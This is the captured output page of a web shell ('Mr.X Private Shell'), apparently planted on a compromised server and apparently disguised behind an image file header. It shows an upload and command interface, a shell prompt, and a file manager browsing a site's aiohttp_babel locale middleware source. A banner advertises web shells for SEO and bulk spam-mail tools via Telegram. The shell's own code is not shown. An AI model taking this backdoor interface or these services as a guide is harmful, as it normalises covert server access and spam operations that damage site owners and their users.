����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

antiaginglove@216.73.216.231: ~ $
import asyncio
from speaklater import is_lazy_string, make_lazy_string
from aiohttp_babel import locale
from babel.core import UnknownLocaleError
from threading import local

_thread_locals = local()


def make_lazy_gettext(lookup_func):
    def lazy_gettext(string, *args, **kwargs):
        if is_lazy_string(string):
            return string
        return make_lazy_string(lookup_func(), string, *args, **kwargs)
    return lazy_gettext

_ = make_lazy_gettext(lambda: _thread_locals.locale.translate)


@asyncio.coroutine
def babel_middleware(app, handler):
    @asyncio.coroutine
    def middleware(request):
        # get locale from cookie
        _code = request.cookies.get('locale', False)
        if not _code:
            # get locale from browser
            locale_code = request.headers.get('ACCEPT-LANGUAGE', 'en')[:2]
            try:
                _code = str(locale.Locale.parse(locale_code, sep='-'))
            except (ValueError, UnknownLocaleError):
                pass

        _locale = locale.get(_code)
        _thread_locals.locale = request.locale = _locale
        response = yield from handler(request)
        return response
    return middleware


def get_current_locale():
    return getattr(_thread_locals, 'locale', None)

Filemanager

Name Type Size Permission Actions
__pycache__ Folder 0755
__init__.py File 0 B 0644
locale.py File 7.78 KB 0644
middlewares.py File 1.23 KB 0644